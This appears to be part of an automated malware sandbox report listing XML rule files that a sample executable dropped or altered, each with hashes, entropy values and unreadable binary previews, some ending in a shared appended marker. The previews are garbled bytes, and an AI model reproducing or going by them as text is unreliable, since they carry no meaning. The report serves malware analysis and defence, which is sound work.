Preview:	<?xmlSU....f..f..$7..-..D`.C.^...>".0].W.N..8_pT;......S...D.g-.h....~../..Q.y..{.-.[...hZ.Y.....$.L.2sq...}.!.5pI.SSy..E...`.'n...../>...3...(@.,q..j{d5V....J..S...%...?...)....i6.........T..N..A......?.O.38.;.mc..y..1.B.0]m.W..i?c@..i../<#.,......h.).y.S.Y....Wb..J..C....Tc...s.h...<.'o.:%9@w.3.,..I7vY.-{....W.}.S.E.:8..E..t.#....Ua{....88.... ._.......+..%A;$.#...7..\,...'.De.......m.{...$`......Qw.&..&...X...._....2...z..3o.V........E....UQ...G..l.$.q......ct....`...F<..n]....LR.....WS.rfq...Rg?....0Lh.~.P`...H...Z....<...0..g.e.s....Ni.).&.....\..`~~^.[e.*za.3S..].Z..f...`...F.hx.TX.......:..u.^.xl.I..z..c.!!Z...1^.Q.T.4...{..S.t._n/.}.KP.I..:E.".nG8Tz.R-Ky..l..)F...u..r..>Vj..RG54..c..3`..a.W..jL<c.t..z..>~.}....>.mQ?..#.nM.v....2.-.ms ]AT.XY#.T>+...M.E.if..A.....~.g.l....f.l.`L..d..x^qj.qk..ll4...,S\|.3m...+.x....c.....:..7 .i..v.K..+.........K\Ivh.M.I......cx...T.t.?haL.@q2.[....Hkv.......u5..+.g.%o...-M.....+....e1.4v.....\|.Bj...w"h...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.911314492929472
Encrypted:	false
SSDEEP:	48:1w2c3fnWezIXO0buspF2sgonsgvjVDSRgD:1UmO0nyzonsWjVDR
MD5:	5F2E035947C74401D25FEF825E827D34
SHA1:	761F6BFC3E719D8BA3E991B4486C7D5269333F54
SHA-256:	13F0EE84EBD539667C751314AA76AA28AC496CE0E8A790543130ED48BB2DD99E
SHA-512:	AA87AB86F5508C941D40D5C6BF71CDEA54E572A3B42CE27A0D413FE67CDA0D71A3306971C7FBDFB700DA0990F4C6F72EEFB249548E001601D802C207C0AD3E19
Malicious:	false
Preview:	<?xml.....#.....P.N.1.R$+.X..M_.e..4q.B..ZPC..{mc..r......k.....\....rV..&.q..4>]3..$^}I".....mi...S^]/U..#n.(.<..L..6....u..5j..`AQ.O......\.B.K.(@.......-....d..T.W:Udq..{'....y...k.y..Y.>....+d.W.~..To..QQ.pV.."CG\......'.C..Zc...N4.=IA....J."):(..+.m.o..^`k..?=.j.k..19...A........../..E8..<d..?..^.'P..".W.:..J..{.[....cG...d.b9m.{[...3F...pwsd.9b......U..3..$.3..\|.M........Sd..+.4&3@.D..=B.9..:.~..{.Z._.uk;m.z..h..,m.9.]..d.;.....0$\|b...E/...$.!..^-g..N%...T...._.....{LH...1.wa=~`..Z&..P....-.wx..6...6.~(b..m....>>2..f....?J.......>.6..?..x......h51kW7..`.i...Np{......No6.t.Y.,.t.....`.....q...e..C.O...H...&.`X.....:....r.?'p..Md1.h.s.h.mH.\b...........6)v.......A..7.4(A....4z.cpP.d.l......0A.r..H..w...Bf...u...k.d...w.......t.Ik..&.=L(4.........d..E.......\R....i..n..5..../4..db..v.....8S]....5E.et`....l;.c.b.r7..I.7.. '..!...C.......3..J?Y..Vg..........Q*.s.5.9K!...W..9.... ..[...m....g.bT..7.(....m.3Lr.. ..z.. ..H..Xth..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.974300067257439
Encrypted:	false
SSDEEP:	192:S4dXA8GNzWCbpBU1d3mJSXBHD+R5MkS/2BuXDsjcjn2:S4dwJ3piialD+jMBe8X6cL2
MD5:	C03273D33B12E0B0DFF18BBF528A9908
SHA1:	1D1EC64AACFC584ADB6E0BB72159FDAE8C185753
SHA-256:	20433AB51E60F43BA6141726FA5AE27B120F4DBFC2D6ECDE442B490D5C27D91D
SHA-512:	796E5A7C8CDF0B46FA9561D5AF278B0853B999A4D7B4778A3B1CDBAC78715A8491371933945E44782E11EE16DCC8375B8C0AD8EF30DC16ADEF7FAD43BDF4BCF4
Malicious:	false
Preview:	<?xml... _.,.eF.1...e.`.?..@...].......Zw1[i.WB.c.A.f%&....Q.7.&5()..j?M...?.v.CY.0F.yV.....&S.._.\|.Ga.~.,+..../....f.F..I......B..j...B./I.6`P.j.'.wJ..VZ...-jc..n...{!UyU.^s(."7...th..T4.J<...N....7a...a....@.h..YP.X...'.....I}8_<.R<. \|...g-.n>...2......M........g.AK....C6,.d.e.$3.._..vT.?-....k?.N>.WS$1..k....D..^E...0a..:u....... .4..Bo...iJG.Y.......l...L"<(./........l.Et1.....Q...&.us:...i;..y..tvi..2..R....s.s..g...5f...C...O.w.\|..3..;...s.#........r...^....$..};....._..`..j........(..:.&.....p....@){...>.3..V.."?..Jk.Y....Z1...MN...Od.h.\|.....&.].bGn.......5._.....Sn........#... GJT...ONu..H8........._..<.AB....g.5.:c.u".J...o.Qz..Q,.%.. ......qX.t;(p.... A....Ci.c...J..>L=..[..F.UJQm.Wc.4zh.n.N..w......&.p.i...53..BFp...,.(~l....'.v....o.V}....x.o....~...a.x...]~. .t..fH.. w..^...ie[]...Ze.`.B../..J...8m....2D....%h.t....X.T...1)...4N... ..\0.&..i...pv../...J.N.m..=..h..o.u....eru..k_W..eu.U...(........H..H...l.&..^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.956790837159687
Encrypted:	false
SSDEEP:	96:8FQ6R71Q7cCklRXxcVlqE1EwV6xfzmpaN1WbMMerpzx:OQmNRqVuwAxgk1WIMSpzx
MD5:	03C46FE2ED3868CDB600E63BFB3219BE
SHA1:	C4061F4DA5EFC71318381D1D27A3DEC42D1F4420
SHA-256:	81EAADC43C35B1F634E47306C05A4472547CC5EC6C87FCB8077DCC9605E66CC4
SHA-512:	80EED1E5E2081FB037819E48CFD0617E7409C4AE1A74C34A63497082A41417C51402AB21E52B5C7D0444CB995CF60E30BE2D29E558ECF62F471EC6FCABC096E4
Malicious:	false
Preview:	<?xml...0.....F..%TBw...RyCu.......g...<...oW...&ozZ..6..m[.....'.......y+{....g/..Y._E....])...V.T%.......s....t.!.l.7.{.f.A..WM.D\n...n....s-.,.N....x2....1.>....'.....2.c....Hx ....H..........Y....e.qS.gU...f,.._.%.b.(Y...l.4..vcb..!]-I."a...._.laD .....w....{.5..5..2.).N.a..]..;..S.DqN..QJ.\..X.:.7....v".....>...1..<.l...WH...{uT..(..s3O\a.1m....`).~.....2..D..\|.R.Sv..0..T......2y.X.1H...,..Q...&...IY.....O.....-'..Q....5lq.RtW.x...........)....{.$...\|.....W..$g.H...Y}.a.......jH6.O.2.... N....#.T....U..(..Z...zmO.%?sd,...b..I9;.....O.yf..X..[;..,.......O2.\...j..Y.G..}wfx..%$T./...N...aR?%...3..q.7~yl)...'U..+..b.L..Z%).....p...%....H..N.f....R..]..U..e..,..Z.ccC..bI\.qD..^.&r..-S..k.56*...d....!......Q0.[:.:>.{/...Z.G...8rH.=<..L..,.4..I51X..7._..&.^..>..@.c.Mp..t.......J....p;..t..}.8J.....&?.O..q....Tf..S`...Q.#.._^...;1Y.........~..4.P.H..N.p. ...l .}..F..^...bC.z..}...Cv.....@..L....CX8=CQ.....).S.#..l...o.....B@._:&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.956328579353784
Encrypted:	false
SSDEEP:	96:t2APg8USMdGIYSGALgOLzdIX7/X/V6bmSyPLTp9iv09oBvKtuAQtY3:5UYSGAPLCz06hfpB9j8AQW
MD5:	9311F4F6EA695D70C63D60FA8F941463
SHA1:	317302462D2108EECF955760FC19F58BA7DEB46E
SHA-256:	B3524AB585AFC4785C2820A372416A3CD2FF48F6831566FA35DF45ACC54AFA2E
SHA-512:	08CA494EE965009934D406C2F58F679E20C742E9E1561CC0600B9340955E1402F78919BFFFC398D34D0DD5E1A2E8B0C06B5856DDDB50C75D9AFD080F60AAB5B5
Malicious:	false
Preview:	<?xml..D..,}t.Yt.....Z..1j........j...>.P[.aW.3....P..1.AA.%e....._H. .v.A.B}...6F.=.,.P,..(....\|'.....>....7...A.4.rj.4.gL.r.....0D.(...\|;....v....../...bW...4.SQ..eT$.i..".jT]b.3N\|...\Q:......;K.u.A....\|.BO},...3.z..".$.....&....v..`)9..k...0l.(..Zx).,.tI.$_L,.......sgR..Q..6..]..1$..9...^.^....../>....g...>.t.y....yh. \.....L.k.`....<_....M/`.V..5.W..ED.bS.g.I..lH.......1.3=qj.?H5I.a.2.b..`.,.;..<.M.U=l.F0."+,.Y...7J....&/.J..O...6w..(.......x.....>W...q.....`6J.....t..3.A,.cX.r?9Q$wU! .3.$.S2@...V.l6wJh.az..b..K{.v.................<..e.......,.r.....:...N.iWk.wB.............j.PgP.>..(..z.B.W...q.7.k..m0..........._=.2..FU.....k...o.-.V$.Y.i}......X...D#..d....&..-.y.cZ!......v...<.6.ZA....0..th...f..OE.....r.y..C.j<.........v..Y.........PD.D...d......v1...tn...B.;T..+....+.yDG......E..P....K..%...8....^J.U.OP3........X.j....H....n..jL...=L...F....0...Q....c....lB>...x.rN.ZEQ....$..h.r...).{.,....zt!?.*..K..~Q....mZ...O...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.9241312834219135
Encrypted:	false
SSDEEP:	48:l9GE9C5WBs+HcbJTipIhL06AbAkFY3o1c+8aFxSJzpv8hMRiyyHlxSQxpG8GfyhI:l9nC56U7N0hAkW3Cc+8CAdUhjxx9+yF0
MD5:	427B7F23080BAD44ECBAF148B62A85E0
SHA1:	0087AD4202614F674EA1DCFB56EF6E664DB3C36B
SHA-256:	9D55E15A7880938F66548A9ECA25C1C6FB908E07D516A27856FE5BA4871E4841
SHA-512:	A82323821DA128325314E2EC4A302731B438B0730744B698CA963637E6AAF55C12CD45E69D22393732B97A3068712EF3701D5DA4AB1BDB82C9717BC6C8D3DD42
Malicious:	false
Preview:	<?xml%.p....d.w...B...u.t...0U.Kw\|./j..B6....p..f..[~..r..../..J.f..2;<.$..em....W.!%....@.@..HU. .5V%e...C_T.`..~];."H.#..4...yP.!O%63.9fG..;K.tT^..u......3.&+.......;.nj+...;4...P=K.b..q4........%\|..V....AV_..x...........A."....:..A........_1.L']...dS<.p.o..3..;.ny......g. .[1H..c..'..?jL.y_.&hv.IH..B.....8G..w.).#.d.\.{.+e.O...8............K..:~...-%.].....)......\......o.-V]\|...2......G../N....ux..O..^;...~aq..........x}.1...%V=...H.A&Dy..{@....r~...o.c.e.R.._H........;...<...Vy...fay.......Q24.+. :8.C.w..).`...H........;...+.....s.....y.....T....i..F.)..&...2....Y."..CH,L...._....cIo...G..P.uVh..C.<63."Z..NY?.V..n.P...RQ....I..$..J...8..7. KZ+..[c...YB^.e..]H>:1Q}...8..%...nR..=?.....^...> S}JN.:....^q.4.~&.2....>...i......E....&...). O...\|..S/:yi....bB..2Q...PZ....V.X\|r...!N.4...........p5...[.of.Thp.jH=.=. .?..@).W...d.M..t....o....~....Q..............Y...1...Pp.EV,#.\.N/ ..../Q+./Y.....I..>hy`.-..I...~.SF...0.....Q[.f.y.F$@.k.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.96733816257126
Encrypted:	false
SSDEEP:	96:5uTKYmuIQtubnHwJEB1x79SxSIcYPTTlX46ALhWLGaHwKFyswyxQp2Cqao/o1F1k:4Teu3urHIELsSzctI6ih4QKNwyxida/3
MD5:	7F4DAAC0C456CF444B57E382960C501F
SHA1:	A61322F010F8DF44A87406C1DA83C7B2EEC7E721
SHA-256:	49BCE795D94D77FB0405F22969659BAFFCA0EF67DB6525DE112F1703B821D0A3
SHA-512:	9A7BBEFBD90FFA83905FB7E23C90C39A2F3AAE6F9BF10FEBE49603C1045FB32D24F84C8C735876DDAAC0597D13A866DCB3E51F78D4BDC5546A32D10A9A0ADBCB
Malicious:	false
Preview:	<?xml+..LR.EZ.a...E..E.oV..+.-#:S..p...>\|...;....j.9Z\|0./...t."...?.....J..u.5Z..%..+...!.>.wz.fu.]..e....jho.m.....~..]...A..g.....~...g^o..V#s0..h.0..\|.H.A.!+(..I,..>.T....]$..M..'.;.H1.?bc.6.....z..~.`._$$...K..h.D......@Q...a.8.af...".c..TrK...P...).kz..-.../.B{b... ...........n..)mO.(..i_...+....L...."!!~..b...Q).u..h...\%..;.M...N.............nWTq.vV...:}I....8.o.2.1.;..(....P..._...8.7....F.gL...."...".D.I.p.w....J8I.......^..?r..Vf:.j......5.....G.<R...9...s.j.s.R.zI..xx...I.....ZB...w..h~i....8...oC...`.........../..Q..vn~..........t.jS.9...k..F....n Q...a....i..O..^... ..+.....5....7...C..1.a..8..N.Z..;=4.@.3...g1..c.....v..1...3......+Cuj....C..x.t../rC.H..nRr...~0..N.&2b..Z>g.Tum1.N.U...3............tw$......f.Q......z..<Q.}...%........k.bsZu..3`.....RL../.{...@.m..t...........H.V....x./I..-.o....1.....AJc..@uS.UJ.........r\|:k;...Y.>..,...2..c..u)...F..F..f}...o.-...c...L..s.........V.....-.Lxi.AZ.g.yq..;...6*C3J.V;'...$....+.A..\.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.8913282276910355
Encrypted:	false
SSDEEP:	48:xA9Ln+QBGp4KJhOC8x1Hda18VXGBfeG8BekdkytqSUhD:a9LhBGp4K3Eha18VXGBsBeksJ
MD5:	5F47E2F70B6570562A3B3923C144E826
SHA1:	73E2E297645C9D978F8E7D287C35A3FD7914DA06
SHA-256:	5C41042CC67454DABDFD533002D794E7D8AEBA7868FF367BF1060B3A9534ED8D
SHA-512:	842F1E33FDAF30707CF9766C45A2A2D323A3F47512328CB2A4B62FA020D6F986189DFEDF208AD8180A235871BC1329C89F032FA038AC9321806D6CAB5B39B082
Malicious:	false
Preview:	<?xml&.%... I...)..L@m.....n.N.D.......;..L.)~W...8.KP.H....5y.`W[y..0..Xs\.I}k,...7O.....Zo....Yn-}...>.............Y....70N...=z.R(.I.w.....=ZY..O..h.xq..4.?)Gd......>..L...g.....R.x.<W9I..._...{.......h!e... R..Y...3.!]..3..V!.....\.1..m...QL.a.Ol.0......:.lz.q...XeL....#..w....t^"....7Q.?.p.,.i..B.Z.F..o..._j......(7.#..'.j..d.....mB>....4e%.\...v+.,..x...Ej...J..:...U.....RO<.......[09(H.".S0....y(.@....V..A...@.z...2....j,Sw.K.i={..Y.I..2.8..k..o...mU.....&.S.T.a...~.r7..4(....F.#.Gk`...A......Q.....c~S..>.N585$.......Tj.d..mH.Y d....n..K.1.zC.s......./g.S(.....:..].......Z4;*...$..k....R....<.#;.......aFT;.....k...v.l.d.`E....?`i=D..?..2..w......4.u..T..4.....S..N.?y..P..OJ,.....P.3 ...h..6.d.pB.wA...jtU....}b.o+..x\{%...1...8...%.... .]l...X..O.2..q.!.;3..:h.(g...c..5.........,J...H..K..39.l...:...].......l3...3..m#.....6.%.9bu7e..Ua..vR....m......\|i3\..B..L.\.>....%8}......V.Jr.....X..........:.!o..#...6...8Vu..(.p....q-.yKb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.780902122355245
Encrypted:	false
SSDEEP:	24:fOVZZ2bHvzdYogRNPTReOehEwiqODiwafceaAk95NOxObD:GVZZ2bRYLRNPT6E/qODY0elk7QxsD
MD5:	AF5D5B4E886222B7402F3E406DDDA7D7
SHA1:	789DE4708673757B91EE8ABD167AADFAE68AA803
SHA-256:	6AFB0497007FE429D74895744F15D011990A54300089BB2E6E819E3C89AF09AB
SHA-512:	44AE868EB2D2559BCE206299E9515D6F5ED533B3DD7C103F32C8D2EFADDA8FC149DB0C40FB70AFC3851810CA9B905B10B5ED7F57502776059D24A00438B640CC
Malicious:	false
Preview:	<?xml............g0"..9.....W..X..M.6R.M.\E.m.....%7.....D...J0d+{.."E>S.d....3J..`e(..,...s;.H.6.Kb3.ZN%v=.tf..M.`..G......)?.j..D....(..B..F.D5...p...po....q..H.D.T.7..i.pR..%WV...@.;W7...I?M./.hI..l..l....D.(.tu^.e!R.Id....".)..&.B..(.&..v.../..-.ymN.9.K.....#7....z..u...`...9\.:......r.u..y.P.........X2......k4..KZ\|.......-...."l....i.m...V....+.r.<:............-.d.&..g.....m..#..NV....@.9<.....J.j....88.D .....opu`}.q..3h....5c1.#bw..A.*/....!"........h4o.K.9.D.'.....>..^.......f.j0F..G...f..M...........E.C...Bn...`..:=......~.].('P..L.[..;KfL.zc...&st..N..`..B...W...S.....?...>..../.$.1~.5pj6...bQI;.AzI.p.f.8D.kp.$..x4..a..}C....z...{Oqt.'.>...X%'f...A..^c...M....y.4.....+9Or......$..].R.@.f[........]..w..uh].Pb/2..NZS9.A../..=...J%.I....^.T...X`.:..uL.s.1.%8....5Dl&...1..T.1.\|.?1.b5..)../....5..,.....c.{.w.Z.r=I2ms._YV+.%..".AQ6...Cu..O.#.Z/..2.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.915434838205049
Encrypted:	false
SSDEEP:	48:IfyNF4vJhhT/9ZllFpJWpaCrWCLiGQqmqSfjqRfXvuYIomft0ZgWCd0AND:IfzJvDnPJWp3fiG3iSXWymfpWa0o
MD5:	B071F5C54191AD06F6113B963D08691D
SHA1:	6F947053C2AC18BC409984AE2715C824AE85914B
SHA-256:	93EB5B7CF280C6373B6F92FA4EF033E2F89B898898CE066AFA1AF42D54841014
SHA-512:	BC0CD7367C29F6AE726FA52CDD7CF63F39B63D6E25D2D53CED7D0CE6E99EF9785B8D100F6DD8D0DD1E66D2A2AA9FD6B48DAA3B6BCBF3F36B4D393DA4513A5D38
Malicious:	false
Preview:	<?xml<A..t.#..7....o..c.a.w.....//].o..O..\..!d..T@.Zi=.=.4.Qihd.]c.......'$q....!.1.&..J.).Nm\.,...\.N3..9.....6..'Z^......0..v....qk<.3U...#1..,..[O.\..Dj?H.@..b..Zh7'...;A....N..@.:}x..n.:)B.6.l....F.R.....P:6.S..V..Qp.bN...$..d.,.".&7t.p..=._t.$.4...v.P..D>.....3kp'+.-..........NL..+..EG.G.6.......`......6.8..d.......{p...P...1......tC.....r]..G..u.I....T.._c...J.\.N....S.9).<.:.P.<.-........i>.......Y...\.A...Y.#\R=.2z2.;Z...1.\u......'W(...qD........'.....`.q.c..v.G...)....s.OM..sb.<.....s..Y.....M?3_Dn...Aq.b ..D..-...P-.b$(~.......".....Qp....u...r..D..-1)..-c.=.bX....2...)...f.`t..RN&sc.[.Fk...@'.th..d>>.{:LpP..^..vl....27l.....c^%.c..t.Xm.M.......a...D.t.E....K.VO.r#G.I.A.a..z...Z=...J(Ij..N.3....{....`.B.I.86;...~...q(.m....C.M.s..Y5....#[.PM...X.j....!...W.y....&[&..{b/v.f>..g$...-.z..>4...9..I.Y....[%s:..s.I.......t3.i.]Nkc...\l...b.D.R..X.....$....f..>">.....4.. Q......._o...(...B..=....3[U..{ro..S.'.+....^.,2.u..<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.984313891720704
Encrypted:	false
SSDEEP:	192:Bjn7A4dPCnGD/kuO/vCu6MYdyJCeLIkLVnVuJQkg/J2vRttBwPluu91Ni:Bjk4dqnGItC7NICxSVumh2vXtB6luu9S
MD5:	5CCF234B9D22803765D792EC648838DC
SHA1:	1E17CE9744E2DF27DB0BD37811EFF4468BEABA12
SHA-256:	0E2359CD21C45B5B0257938442D5ACB7566AB3C9053448550D5E0E46ABDE4648
SHA-512:	BE05498512025ED079F920AF64D9ED7AB422AAF24429E1BFB4FE633B2454F572A0967896C60C04C9877606847CAEB2CAD07CBF6BC15D45ADF35FDA44DC923525
Malicious:	false
Preview:	<?xml..EJ..x../.....c.1.. uItB...v..A...a...=...\..B./...)..e{K...p.O...2..l/xe..1.wif._.0j..a.B.C.......z........c..-..@f.j..U_.T.....(,.G.9..M.c8.rQ.......P.c8.........E?O.%..A.K.1..E.._a.hw.?2...O...\..,.T:......=..`....f...x..ZJq?.P...c.d.....Q.. .L....!.'Q...?.F.P.M<k.m...-...}.i..P.....raqan.fo.`.B........f.4..j.U%..#..SS...0K.S.....Xh.d.....8..Q.O.(O.R=}..g....S.....kn........E..pB\.5.r....m.q.K.,0h..`....R&.4..L.. ..L...e..._7(....V.\7C...._..W..{.+...{B.GD2t e....}..X.y'...6...A..X.G.n.e...,.7..2lZ..Z.r.kt.5.X..1..m.&@..wf........5r+....z.:.B3.....j.4.0""F...........z..%..@e.Xgx..:..%..+..9\|....t..{%...VPb......jP-0...{,.q...Y!..5.8.e..BY.Vo...P}.=U"o.<e3..pz.;.g.".......l.R.ld.T4(MNw.G.L.l...=....'.X=.\.....6}3v..aCR\|a..'...r~..Ui..W.q.g..{.........;.UK...'.-.S.L...&.. vT.8.SS...AC.....1UP5.....!v........O..7.-a&..(j..j`.....;..-...E..5.@...ptT..R..m.3rc....[..s....&.y..Y%.k.F... +<8.D......jU1e..a.5.}G?..]... ..O.....I.j..6Y5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7728065551438394
Encrypted:	false
SSDEEP:	12:ReahiATGhASlINw3taaNwuQwRuXH5qW2JTyRGs3oeJ0MezOp8zJIJ6P/PK5LHBw2:XwhhMw8D+uXZqYZ9oNzjnPiLhJbD
MD5:	8E1FF43F11A0140267163D8796D3E1C5
SHA1:	91509BB98EDF997E222393EE19DDA88905EB9E9B
SHA-256:	68BA45F4F57C76D2FCE40CE5F87F9D29EF355BA5F7EA8D9D5CE09A39701E5D87
SHA-512:	FEAD22CEB1489686F14BD67BCE2A73C3C69DF4314E88A6E4DFEE226B82EF229C13CD37813DD1DCCFF08BB682D0A3D5CD0B763DD6F207AB73520BFE027CF79936
Malicious:	false
Preview:	<?xml.E.C4,.y.!X........I.h.!....GSIwM.c/._....;..H.H.Xwk[YW....l..j$...j.V.b.f#.@.........:.S.'.[rID....Y.G..{."....p^\v....x./h.......x..%Z..[<+......s(.2.(5...j........g)....YP,.q.K.:.H.J.."001..(..of5Z...T./d..N.g^..........C...z.....3.Oc...pr..H..7&R...+...B..rtJ.I\..A.r.fC..]/....}M.T.D....^...40......\..@T....T..q...!..bX.\zJb.b1.]z..U{...~........hw.j...U..1b8p._...1..& i....2.^..8/...IVn%.Rq`.T.m5...x..p..G..u....W..pK...TF...D}.............}l{..S..T....aB..@(k5].\.z.%..=.Qeby;W...V....$:..3..;n.y.*.c...[......i...6.g...../1......O0.........6..V3.-.K..PeI.^.Y/..~.....Ak5Y.....]}.wj_T. W.2..Z.V.J.=..txA......Qc.\bd.J.).e.O`<)........@#n.G.2.].-sV.w8.O....!..n..X'..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6692337420173615
Encrypted:	false
SSDEEP:	12:8OVTMzAgTy1zduKxD0zL3OEOZn4luFvyxIu4dOQ7pSyDL/w7Dzq/ZUjW2r961+cq:3wzjTeF543p240FixWZ7gQL/kDG/2bbD
MD5:	B59E75C61B2E77B63191156806E41D0B
SHA1:	AD6779A31741EFFA79FD1A7A3260F5125827E463
SHA-256:	76E758EBFDAD405729AFD4B21384DEFA5EBEC36173D4FC4025F04EF3754C68D3
SHA-512:	DD4F3D0F1788C00C679837412AF3EC1CF98AB824D6CF40306BD2BF19C1AC57823306384CECFF16673282A67ED4CDD79A38ABFBCC14962126A85F37BA57C0273D
Malicious:	false
Preview:	<?xmlAIk.....bMO..H...q).".Q../..... ..zZ...$.EI.;...Wg&.6..b.............NK....U....Q..w.N.u.E...c.C9...,k.B.C%.n.G.....(..)..u../Z4."...8..9IUB2...lxP....]..Q.@..V..wvQ.V........-..8.... ..E.?...o.h"..J...g.b.....f.0.....{...Tp\|2 ....HW.....)P.Z..+<A.\g.w..Cf$...;.)v'...&6Qq.)e._......g...../zl.... .d.....(O.&..X...JB&..........Q6..@Y..w..>.R....`le....{C....&n.r.......t..q..s.D.v.%K(./.".v.....G.N!.b.(..!..0.RQ.q.c.O(.}..<j. pj.M&..o".E...5.........6`[,a...SfImmF............N..l&Ea&..........EyJ..t.U.....o7.......5.C.n."..[....?...p..<......&.i.P......C.\|X...8.U!:.T....mO...?.ilN.......j.,8.".@S... v..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.898578135677956
Encrypted:	false
SSDEEP:	48:fLAyKGmrJavs68b8iaYg01ZgSAkBy05meiWllxmd/FDGrGD:fLtvmrJssGYg08lexialxmdxse
MD5:	241949F90BAD7E9E5F2C8E93476B70B7
SHA1:	FA3D0C6DD3BABB6B401B8DD78CBE44B8405CF76D
SHA-256:	0A233C3B320587DF4E2A75F54D946AB3E247AE2A0CE2B99996E9725FB4B5FD3F
SHA-512:	F712D760FA90697817B049078B69C1718FB80C9E23B768611B24D4E44CFE793B429087E99C9EF29DB273699A4EA4A925A6F8F2FB04308B4BE6931604CC7E7E4B
Malicious:	false
Preview:	<?xmlv$..2..d.....`..`....i....p.Xl..h.....c..B....(.H.!..f.q...1...Uw.a.K..l.E[.i./.h. Y.Q.ef..+..)E'T.#.G3/6..a.....dR.(......Bp........%.......zl,c.bW...K..Rw..r.p;..d....u.G..6X..l.MN.8.r[J.i..f.u[N....=....f;.....;........bR!....L...g..i9..%lU.^q...j.{.C..T...V.-[.s.F.{..L....g'...E...F\|jQ...'......a.h...b..y.A.r5A.7....)....N..O.G....Q..;.5}.@....Y.....\|.`....g...,.......3.\...40.q){#p.H:..M..R.\| ..2A.66.K'..D...$..R.5t+/f/s.D..1..o.D......f\|...U.X....8.p\...,...Q[.2k..n.<n.t..[.u...Kf.z......9.B.....<0.o..C..Z.%C..@...9...~g/.a]....^.%.9(>.w...J.......4h..Tp.K.V5.zE-..z.[h.W..t.)..q....._.0.n..dz{...2v... u..u..y....4H.....<....Q...`5#./(.`.'...(.k.;..........m.;.0.H7...5.....^}...Bw.n...'.#....).c'..cSd..L.).W.....]@..."....;...9..r..E.qb.c...Z...y..P!...J..i..<.q1.<..M...,.Z..Xt.;.... .-w.t...L@....g.TDI....;.WR...<..o.ql,..r...>l. (....t....F.......FP.pm..e.2....=E......]..aM....Q...o/.P.2.\|1F...f.[L.....B....^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.752765880067608
Encrypted:	false
SSDEEP:	24:YbLuJP76jv4SAiwUTGZ9OG+K78x2e4QTiIg/UbD:paAiLTiwK7qv4Mil+D
MD5:	491486EFD2EEF3946D9142B18E726102
SHA1:	3B52977C52F312068DBF5C01746389C8A2B490B5
SHA-256:	E40B3765665AE17BDB9BB5C5FA16BC2FEA1AD27AE0833F4E40D7D7DE58D0CF52
SHA-512:	CA44527A19255DED38F4067AFB86879A25ADBE2A76D5C52A3409790BAD8501344F5988C5A4F37A26B2968022217C8506EE807827987E4B891582985F981EA97D
Malicious:	false
